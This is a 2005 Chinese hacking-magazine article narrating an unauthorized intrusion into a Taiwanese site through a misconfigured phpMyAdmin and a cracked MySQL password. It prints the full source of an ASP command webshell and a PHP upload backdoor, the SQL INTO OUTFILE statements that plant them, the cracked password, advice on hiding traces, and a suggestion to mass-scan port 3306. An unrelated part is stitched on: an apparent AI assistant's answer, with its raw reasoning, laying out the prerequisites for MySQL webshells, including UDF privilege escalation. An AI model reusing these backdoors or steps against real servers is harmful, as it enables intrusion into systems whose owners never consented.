用Mysql得到Webshell(MySql Backup WebShell)

用Mysql得到Webshell(MySql Backup WebShell)

此文已发表到《黑客X档案》2005年第1期,请装载时著名来源:黑客X元素

Author:XaCk3r
Email:Xack3r@xhacker.cn
HTTP://www.xhacker.cn
    此篇文章是在一次入侵后的总结,无聊,拿到台湾的一个web站点做测试,开篇进入正题吧!开始拿到web地址时,Ping操作,接着就是调出X-scan扫描,目标主机只开放了21,80,3306,8080端口,并且无报任何漏洞。操作系统为windows 2003,明显是用了IIS服务器。分别telnet服务的端口为确定banner。目标主机使用了IIS,Serv-U FTPv5.2,MYsql4.0.21-nt。新版本,还没有发现漏洞,溢出就不大可能。

入侵分析:
     我们先分析一下他的web程序,采用php+mysql,另外还架设了一个asp论坛。整站程序并没有多用户集群,而是采用了管理员后台添加删除等操作,而asp论坛提供上传功能。目前只有从注射和上传欺骗入手了。
www.target.com.tw/admin,管理员后台登陆界面并没有删出,不过在我随意输入admin,admin之后却出现了“找不到這個頁面”,显然后台登陆的地方已经被管理员修改过,郁闷,猜解不出管理页面,构造极其麻烦对于我来说,不过程序左边却有快捷管理导航栏,当然一般情况只有进行正常登陆进去的时候,才能进行管理,随便打开一个连接,结果得到警告,不过,我们却得到了很重要的东西,因为管理员并没有完全处理php后台文件,导致调用的时候出错。
错误如下:
Fatal error: Cannot instantiate non-existent class: html_template_it in D:/www/target/bussiness/admin/mMoney/Money_News_List.php on line 20
可以说是我们无意中暴出的WEB路径。至少在写一些文件的时候,我们会少走一点弯路。
接着我们对bbs进行文件上传漏洞测试,上传,抓包,欺骗伪装,再进行上传,结果代码限制,上传未遂!
    原以为到此结束的,可是目标机器的8080引起了我的注意力,进入www.target.com.tw:8080,出现的是“歡迎使用 phpMyAdmin 2.6.0-rc1  ”,这个不用我说了吧。PhpMyAdmin作为Web方式管理Mysql数据库的程序,但起眼的是“必須設定 $cfg['PmaAbsoluteUri'] 在設定檔內!”,最重要的还有“MySQL 版本 4.0.21-nt 在 localhost 執行,登入者為 root@localhost”。这是PhpMyAdmin下面的config.inc.php设置上的错误。我们能直接进行访问而且没有要求输入口令,我们可以看出$cfg['Servers'][$i]['auth_type']     = 'config';为默认设置,我们知道PHP安装模式为Apache时使用http和cookie;如果PHP安装模式为CGI,可以是用cookie;默认为config, 这是危险的设置,我们可以不需要认证登陆PhpMyAdmin。而且以本地root进行登陆。我们来查看一下权限,如图1所示。
 
管理员建立了一个用户给予自己的web程序使用,而留下root并没有进行清理或者限制,ALL PRIVILEGES所有权限。这样一来,我们就可以建立一个mysql管理员了,结果在预料之中,并没有权限不够的出错提示,成功建立Mysql管理员帐号。有关操作PhpMyAdin并非此文的要点,这里不再多说。
    呵呵,有了管理员帐号,我们就可以做很多事情了,当然目的只有一个取得服务器权限,当时这中间还有一道工序还没有完成,Mysql不象MSQL那样只要以数据库管理员连接成功就可以直接进行添加系统管理员等操作。以我们建立的用户进行连接,记得牛族开发过一个SuperMysql(mysql数据库连接程序),我们无须本地安装mysql或者其他的数据库软件,SuperMysql已足够让我们执行命令和查看数据库内容。我们以刚才建立的用户名和密码,填入IP进行登陆。登陆成功会显示提示框,点击确认后界面如图2,  

   

       我们打开“mysql”这个数据库,可以看到数据库管理员的密码,不过是加密过的。呵呵,为了隐藏起见,我们破解出其中一个,以后就方便多了,以免被管理员无意中发现。“工欲善其事,必先利其器”,感谢xuanniao大哥写的crackmysql(破7位密码只要10分钟)速度其快,不管那么多了,先让他跑一下。发现加密过的密码都是一样的,管理员如此疏忽。把加密过的密码抓下来,不出五分钟,密码出来了,7851465。呵呵,现在我们可以删除我们刚才建立的那个用户,用其管理员帐号登陆了,因为写这篇文章的时候,入侵已经过去了,这里就不再罗嗦,我再用supermysl以root连接的时候,却连接失败,百思不得其解,最后返回到PhpMyAdmin才明白,大家可以从图1看出来root只能从本地连接(主机为localhost)。而另一用户则意味着“任何主机”(%通配符),这也是最不安全的地方。

    我想下一步大家已经明白了,通过mysql数据库Backup MysqlDataWebShell。记得,SuperHei写过一个autogetwebshell(PHP语言所写、只要输入远程MySQL地址、库名、用户名、密码、代码以及一个可写的Web目录,就直接导出一个WebShell)拿来试试,依次填入相关数据,点击提交,结果并没有连接成功当然也就导出不了数据一开始我是在本地架设的Apache,以为是本地的问题 ,放到自己空间里面实验,结果也一样,返回的页面却是“无法找到网页”不知道是不是作者代码不完尚的缘故,因为php也在学习之中,也就没有余力去看autogetwebshell的代码了,看来还只有自己动手了。看过Swan写的Backup a shell文章,MSSQL在导出文件时遇到了字符转换,这样代码不可能被的解释执行。同样在mysql中以存在此类问题。我们以《通过mysql入侵NT和win2000》参考,通过sql语句把脚本输入到数据库,再把脚本导出到目标主机的web目录。详细代码请参看原文,输入命令如图3:
 
如果执行成功将会返回到mysql/bin目录下。如果目标主机的存在此表格或者cmd2.php存在,脚本将失效。
从浏览器中,虽然我们已经得到了Guest权限的shell,但是通过这个shell脚本却不能写东西,还有的说此shell为system shell,在此,不予雷同。崩溃,看来只有换个shell试了。由于服务器放有asp论坛,拉出简易的asp后门,构造成一个sql文件!
use target;
create table XaCk3r (cmd TEXT);//这里创建一个XaCk3r的表格,一个cmd字段的文本数据,以下就是sql语句插入asp木马的内容了。
insert into XaCk3r values('<%@ Language=VBScript %>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then 
szTempFile = "C:/" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
</FORM>
<PRE>
<%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>');
select * from XaCk3r into outfile 'd://www/target//XaCk3r.asp'; //接着导出到web目录中。
然后转回到mysql目录,输入命令:mysql -h IP -u usename -p <XaCk3r.sql
命令执行成功并返回到mysql目录下。然后我们访问http://www.target.com/XaCk3r.asp。倒!执行错误,昏死。
Microsoft VBScript 编译器错误 错误 '800a0400'
缺少语句
/xack3r.asp,行2
/
^
原来打算省点事,不用那么一行一行的输入,但返回给我们的却并不满意。明显代码写入的时候格式破坏了,于是在本地进行测试,果然不出所料,在写入asp文件的时候,asp代码每一行都加了一个反斜杆(/),导致代码不能正确执行。难道还是一行一行的输入,试试吧!
再用牛族的Supermysql连接上去:输入以下命令;在这里说明一下,一年前的《一次艰难而真实的入侵》这篇文章,现在再次读起来,一些地方不予雷同。就比如插入代码到表格的语句,原文使用的是insert into tmp values(/"<% Dim oScript/")其中使用的是反斜杆(/),不知道现在网络上的文章是不是有意处理的,原文我并没有读过。而本文大家也可以从上面看出,使用的是insert into XaCk3r values('代码内容')使用的是单引号('),这样才能执行成功,否则执行失败。下面我们在supermysql里依次输入以下命令。
use target;
create table XaCk3r (cmd TEXT);
而asp后门也不得不一行一行的输入,不过,用上易优超级字典生成器的确省了点工夫,用途相信大家读过那篇文章也应该清楚。继续。
insert into XaCk3r values('<%@ Language=VBScript %>');
?????????????????????
insert into XaCk3r values('</HTML>');
不过,庆幸的是,输入的都弹出命令发送成功的消息框。最后一步,那就是导出asp文件了! 大家可以从图4
 
中看到表里写入的asp后门和发送成功的提示框了。怀着激动的心情访问http://www.target.com.tw/XaCk3r.asp,昏死!
“找不到這個頁面
您所要找的頁面可能已經被移除了,可能是它的名稱已經變更,或暫時無法使用。??????”居然出现这东西,这分明在整我!我们明明看到表里面的代码,为何导出了又访问不了,真是百思不得其解,多番询问高手,也没有得到答案。难道!!!不可能,导出的东西被第三方软件给吞噬了不成,那不是就没有戏了。难道努力都白费了,我们还是回到mysql环境下面吧,试试,在sql文件只需要写入两个语句然后存为sql文件。
use target;
select * from XaCk3r into outfile 'd://www/target//XaCk3r.asp';
接着回到mysql环境下,输入mysql -h XXX.XXX.XXX.XXX -u usename -p <XaCk3r.sql
再访问http://www.target.com.tw/XaCk3r.asp,返回的结果仍然是“找不到這個頁面”,难道是被杀毒软件给截了,次脚本后门也算是盛行以久的了,我没有再想加密,再写入,那样添加到数据库的操作更加烦琐。既然目标服务器支持Php,为何不换一个Php后门试试。而且Php后门代码简洁,并没有那么多麻烦。说干就干,拉出php上传后门,而且代码简短,植入进去也没有那么麻烦!继续用连接Supermysql,免不了的重复操作,我并没有在字符前做任何转换,或者替代,只不过是语句里把反斜杆(/)换成了单引号(')看过《一次艰难而真实的入侵》文章的应该知道,原文采用的是反斜杆。代码如下:
<?php
$msg = copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]) ? "Successful" : "failure";
echo $msg;
?>
<form ENCTYPE="multipart/form-data" ACTION="" METHOD="POST">
<input NAME="MyFile" TYPE="file">
<input VALUE="Up" TYPE="submit"></form>
写入很顺利。导出的消息也发送成功,访问http://www.target.com.tw/XaCk3r.php,惊喜!真是皇天不付有心人。如图5,
 
这回我们我们从这个后门可以上传任何东西了,当然无非上传个更强大的php后门。
其实我们用不着那么麻烦,仍然可以构造sql文件省了不少事情,从《通过mysql入侵NT和win2000》中可以看出cmd2.php,处理后的mysql文件里所有双引号(")前面都加入了一个斜杆(/),还有这个符号(-)前面也要加入反斜杆(/),因为考虑mysql语言结构把"和-当作语句的一些代码规范处理,所以导入后语句并非原型,而用反斜来起到转意作用,学过C语言的朋友都应该了解!处理后在cmd环境下进入mysql所在目录,执行
mysql -h IP -u usename -p <XaCk3r.sql
以下是XaCk3r.sql的内容
use target;
create XaCk3r tmp (cmd TEXT);//这里创建一个XaCk3r的表格,一个cmd字段的文本数据
insert into XaCk3r values('<?php  //这里就是插入代码到表里面了
$msg = copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]) ? /"Successful/" : /"failure/";
echo $msg;
?>
<form ENCTYPE=/"multipart/form-data/" ACTION=/"/" METHOD=/"POST/">
<input NAME=/"MyFile/" TYPE=/"file/">
<input VALUE=/"Up/" TYPE=/"submit/"></form>');
select * from XaCk3r into outfile 'd://www//target//XaCk3r.php'; //接着导出到web目录中。
drop table XaCk3r; //删除表操作。上面的一些操作我们并没有此条语句,实际运用上,导出后最好删除此表,以免细心的管理员发现,不能疏忽。
继续访问,http://www.target.com.tw/XaCk3r.php出现一个代码警告,如图6:
 
Warning: Unexpected character in input: '/' (ASCII=92) state=1 in D:/www/target/index/xack3r.php on line 测试一下发现这个警告并没有影响到我的Php上传后门的功能,能正常上传!
  到这里,我想入侵可以告一段落了,再此上传一个asp或者php超强管理后门,上去后,发现他的系统分区可写,并转到C:/Program Files,我们可以看到管理员安装的一些软件。图7:
 
HOHO,我想有几个软件大家都熟悉吧,开初我们上传的asp后门,是不是就因为它给夭折了。但其中的Serv-U我想就是我们取得主机权限的一大突破口了。ServUDaemon.ini相信也大家也以此突破了不少主机,至于相关突破,请大家参考《通过asp木马配合serv-u取得管理员权限》一文,此文到次也差不多该结束了。
   最后,虽然说,此文遇到的情况有一些巧合,但也费了不少周折。拿到的主机我们还是来简单的对它设置一下,先从web入手,目标主机一开始的缺陷就在于phpMyAdmin配置不得当,其中有几个致命的地方。在asp后门下编辑config.inc.php文件,我们的确发现了一些地方和我们先前预料的一样。
A:$cfg['Servers'][$i]['auth_type']     = 'cookie';    // 这里我应该改为Http或者Cookie,原config.inc.php文件里是config!这是主要的。
B:$cfg['PmaAbsoluteUri']  = 'http://www.target.com.tw/phpmyadmin/';原文为空,也是危险的设置。
C:还有一点并不太确定管理员管理数据库是否通过远程,如果是远程,那我们对root的操作直观重要,如果动了root不能远程连接phpmyadmin 岂不是暴露了自己!假设是管理疏忽,安装后并未正确处理root用户,也没有远程管理这个打算,
那么$cfg['Servers'][$i]['user']          = 'root'; 这个地方我们应该去掉root,这样才不会导致我们从Web直接访问phpmyadmin而可以浏览全部数据库,而我们的身份则是以root@localhost。话又说回来,如果管理员以远程方式通过phpmyadmin登陆管理mysql数据,那么他应该意识到这个安全问题,所以我们做的更改是对的。为了安全起见,最好为phpMyAdmin设置专门的用户和权限,这里我们为目标设置为target,密码为7851465,该用户只能读取名为target数据库中的表:
grant select on target.* to target@localhost identified by "7851465";
然后,编辑phpMyAdmin的config.inc.php文件
$cfgServers[1]['controluser']   = 'target';
$cfgServers[1]['controlpass']   = '7851465';
   入侵过程到此结束。总结:此文记述的也是一次真实的入侵过程。也是在一些同类文章的基础上写成。综合利用到一些知识,也有一些前述文章未能解决的问题!写得仓促,还望广大朋友得以谅解。此文提供的只是一种思路,着重的是解决了一些文章对导出shell的不足,也是本人多次尝试后的结果,希望能和更多的人交流学习。然而,如果大家以后对广大3306端口进行扫描,如果发现有root空口令的话,就没有了那么多迷茫,当然是在没有用别人写的工具上那更好不过,一些工具中仍然出现许多bug,并不一定在我们手里就能执行得那么畅通。更多的还是靠自己去帮助测试,来弥补一些软件作者的不足,这应该也算是一种精神所在吧!
欢迎和我多多交流XaCk3r QQ:83578988  E-mail:xack3r@xhacker.cn Htpp://Www.Xhacker.Cn

文章相关附件可以到google里面搜索!

<think>首先,用户的问题是:“我想了解使用MySQL编写WebShell的前提条件 请问使用MySQL编写WebShell的前提条件是什么”。这涉及到MySQLWebShell的结合使用。 回顾系统级指令: - 所有行内数学表达式用$...$格式。 - 独立公式用$$...$$格式并单独成段。 - LaTeX语法正确。 - 使用中文回答。 - 生成相关问题。 - 在回答中引用的段落末尾自然地添加引用标识。 用户可见层: - 回答结构清晰,帮助用户逐步解决问题。 - 保证回答真实可靠。 参考站内引用: - [^1]: Webshell介绍,包括上传方式。 - [^2]: 提权方法,提到MySQL提权。 - [^3]: 备份数据库来创建WebShell的代码示例。 - [^4]: Webshell的配置和免杀方法。 - [^5]: MySQL提权命令。 用户的问题是关于使用MySQL编写WebShell的前提条件。WebShell是一个网页后门,允许用户通过Web界面执行服务器命令。使用MySQL编写WebShell可能指的是通过MySQL数据库来创建或执行WebShell脚本。 从引用中: - [^3] 提到通过备份数据库来创建WebShell,具体是将一句话木马写入文件。 - [^5] 提到MySQL提权,使用UDF(User-Defined Functions)来执行系统命令。 关键点: - 使用MySQL编写WebShell通常涉及利用MySQL的功能来写入文件或执行命令,从而创建或访问WebShell。 - 前提条件包括: 1. **数据库访问权限**:需要有对MySQL数据库的访问权限,包括能够执行SQL查询。 2. **文件写入权限**:MySQL用户必须有FILE权限,以便能够写入文件到服务器文件系统。 3. **Web目录可写**:写入的文件需要位于Web服务器可访问的目录中,例如网站的根目录。 4. **安全配置漏洞**:服务器或MySQL配置允许此类操作,比如没有禁用FILE权限或未正确设置安全模式。 5. **提权可能性**:如果权限不足,可能需要提权,如引用[^2]和[^5]所述。 具体步骤或条件: - **FILE权限**:MySQL用户必须拥有FILE权限,才能执行SELECT ... INTO OUTFILE或LOAD_FILE操作。 - **Web目录路径**:知道Web服务器的根目录路径,以便写入文件到可访问的位置。 - **文件内容**:WebShell的内容,如一句话木马(e.g., <?php @eval($_POST['cmd']); ?>)。 - **备份或导出方法**:如引用[^3]所示,通过备份数据库来创建文件。 - **免杀和配置**:如引用[^4],WebShell可能需要免杀技术来避免检测。 现在,构建回答: - **结构清晰**:逐步解释前提条件。 - **使用中文**。 - **生成相关问题**:在结尾添加。 - **引用标识**:如果引用站内内容,自然添加,如[^3]。 回答结构: 1. **引言**:简述WebShellMySQL的关系。 2. **前提条件列表**:详细列出关键条件。 3. **解释每个条件**:简要说明为什么重要。 4. **潜在风险**:提醒安全风险。 5. **相关问题**:生成相关问题。 生成相关问题: - 例如: 1. 如何检查MySQL用户的FILE权限? 2. MySQL中如何安全地禁用FILE权限? 3. 常见的WebShell上传方式有哪些? 确保回答真实可靠:基于标准知识和引用。</think>### 使用MySQL编写WebShell的前提条件 在网络安全领域,使用MySQL数据库编写WebShell是一种常见的技术手段,它允许攻击者通过数据库操作在Web服务器上创建后门脚本(如ASP、PHP文件),从而执行远程命令。然而,这需要满足一系列严格的系统配置和权限条件。以下是从技术角度分析的关键前提条件,基于MySQL和Web服务器的常见安全机制。我将逐步解释这些条件,确保内容真实可靠,并引用相关技术细节。 #### 1. **MySQL用户拥有FILE权限** - **为什么必要?** MySQL的FILE权限允许用户执行文件读写操作(如`SELECT ... INTO OUTFILE`或`LOAD_FILE()`),这是写入WebShell文件到服务器文件系统的核心。如果用户没有此权限,无法通过SQL查询创建文件。 - **如何验证?** 可通过SQL命令查询用户权限: ```sql SHOW GRANTS FOR 'current_user'@'localhost'; ``` 输出中需包含`GRANT FILE ON *.* TO ...`字样。 - **风险提示**:默认情况下,MySQL安装时部分版本(如<5.6)可能分配高权限,但现代版本通常限制FILE权限[^2]。 #### 2. **MySQL服务运行账户有Web目录写入权限** - **为什么必要?** MySQL进程的运行账户(如Windows下的`SYSTEM`或Linux下的`mysql`用户)必须对Web服务器的根目录(如`/var/www/html`或`C:\inetpub\wwwroot`)有写入权限。否则,即使有FILE权限,也无法成功创建文件。 - **典型场景**:在集成环境(如XAMPP)中,如果配置不当,MySQL账户可能继承高权限,导致目录可写[^2]。 - **检查方法**:查看服务器文件系统的目录权限: - Linux: `ls -ld /path/to/webroot` - Windows: 检查文件夹安全属性。 #### 3. **知道Web服务器的绝对路径** - **为什么必要?** 写入WebShell时必须指定完整的文件路径(如`d:\web\1.asp`),否则文件可能被创建到不可访问的位置,无法通过HTTP触发。 - **获取方式**: - 通过SQL注入漏洞泄露路径(如`SELECT @@basedir`)。 - 利用Web应用错误信息(如404页面)。 - **示例**:在备份数据库时,需将十六进制编码的WebShell路径写入查询,如引用[^3]中`0x643A5C7765625C312E617370`对应`d:\web\1.asp`。 #### 4. **MySQL配置允许文件操作** - **为什么必要?** MySQL的配置文件(`my.cnf`或`my.ini`)必须未禁用文件操作。关键参数包括: - `secure_file_priv` 设置为空或Web目录路径(若设置为`NULL`,则禁止所有文件操作)。 - 无`--skip-grant-tables`等安全限制。 - **验证方法**: ```sql SHOW VARIABLES LIKE 'secure_file_priv'; ``` 输出应为空或目标路径。 #### 5. **存在可利用的漏洞或提权机会** - **为什么必要?** 如果上述条件不满足,攻击者需先提权: - **数据库提权**:利用UDF(User-Defined Functions)执行系统命令,如通过`shell('cmd','net user')`添加管理员账户(引用[^5])。 - **Web应用漏洞**:如解析漏洞(如IIS/ Apache文件名解析缺陷)或备份功能滥用(如将WebShell伪装成数据库备份文件,引用[^3][^4])。 - **风险示例**:在Windows系统中,若MySQL服务以SYSTEM权限运行,可直接覆盖系统文件。 #### 安全建议与风险提示 - **合法性与道德**:此技术通常用于渗透测试,但未经授权使用属违法行为。 - **防御措施**:管理员应限制FILE权限、设置`secure_file_priv`、定期更新MySQL版本,并使用Web应用防火墙(WAF)检测异常查询。 - **引用依据**:上述条件基于WebShell的常见攻击链(上传、提权、执行),如通过数据库备份注入恶意代码[^3],或利用高权限账户配置缺陷[^2][^5]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值